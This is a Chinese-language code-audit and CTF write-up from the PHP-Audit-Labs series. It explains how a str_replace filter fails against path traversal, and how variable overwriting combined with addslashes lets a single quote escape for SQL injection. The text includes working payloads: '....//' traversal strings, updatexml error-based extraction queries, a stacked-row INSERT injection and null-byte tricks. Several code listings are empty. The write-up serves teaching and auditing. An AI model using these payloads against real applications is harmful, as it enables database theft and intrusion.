PHP-Audit-Labs
项目地址:https://www.ripstech.com/php-security-calendar-2017/
1 | class LanguageManager { |
这一题考察的是一个 str_replace 函数过滤不当造成的任意文件包含漏洞。在上图代码 第18行 处,程序仅仅只是将 ../ 字符替换成空,这并不能阻止攻击者进行攻击。例如攻击者使用payload:....// 或者 ..././ ,在经过程序的 str_replace 函数处理后,都会变成 ../ ,所以上图程序中的 str_replace 函数过滤是有问题的。我们来看一下PHP手册对 str_replace 函数的具体定义:
str_replace :(PHP 4, PHP 5, PHP 7)
功能 :子字符串替换
定义 :
mixed str_replace ( mixed $search , mixed $replace , mixed $subject [, int &$count ] )
该函数返回一个字符串或者数组。如下:
str_replace(字符串1,字符串2,字符串3):将字符串3中出现的所有字符串1换成字符串2。
str_replace(数组1,字符串1,字符串2):将字符串2中出现的所有数组1中的值,换成字符串1。
str_replace(数组1,数组2,字符串1):将字符串1中出现的所有数组1一一对应,替换成数组2的值,多余的替换成空字符串。
CTF
index.php
1 |
|
function.php
1 |
|
config.php
1 |
|
搭建CTF环境使用的sql语句
1 | create database day9; |
可以通过覆盖 $limit_words 数组,来逃逸单引号,因为在 index.php 文件中使用了 addslashes 函数
我们使用第一个 payload 如下:
1 | msg=1%00' and updatexml(1,concat(0x7e,(select * from flag),0x7e),1)) |
这样我们便注出了flag,但是这里的flag并不齐全,因为 updatexml报错 最多只能显示 32位 ,所以下面我使用 reverse 函数注出尾部数据。当然方法不止这一种,大家自己举一反三。
1 | msg=1%00' and updatexml(1,concat(0x7e,(select reverse(flag) from flag),0x7e),1)) |
这个Payload传进去经$$key = $value;
后,会使得$limit_words
数组被覆盖为["\0\"] => ""
,也就是说replace_bad_word
函数会将\0\
替换为空
由于代码执行顺序的问题,Payload会先被addslashes
函数加上转义符变为\0\'
,随后进入replace_bad_word
函数被置空,单引号就逃逸出来了
这里%00
的作用
1.msg
=1%00'
2.addslashes 转义
3.msg
=\0\'
4.limit_words[\0\]
传入,覆盖原有数组,为空。
5.送入str_replace
函数处理,将0替换空
6.msg
=\\'
=>'
,单引号逃逸。
数据库查询语句:
1 | INSERT INTO users VALUES(66,'1' and updatexml(1,concat(0x7e,(select * from flag),0x7e),1))#') |
第二种payload
1 | msg=1'),(66,(select flag from flag))#&limit_words[1\']=1' |
1.msg
=1'
2.addslashes 转义
3.msg
=1\'
4.limit_words[1\']
传入,覆盖原有数组,为1'
,逃逸了\
数据库查询语句:
1 | INSERT INTO users VALUES(47,'1'),(55,(select flag from flag))#') |
补充00截断知识点:
1.burp修改空格的十六进制20
为00
,返回raw会发现空格变为方框,方框的位置就是0x00,只不过这是一个不可见字符,无法显示。0x00的原理,总之就是利用ascii码为零这个特殊字符,让系统认为字符串已经结束。
转载: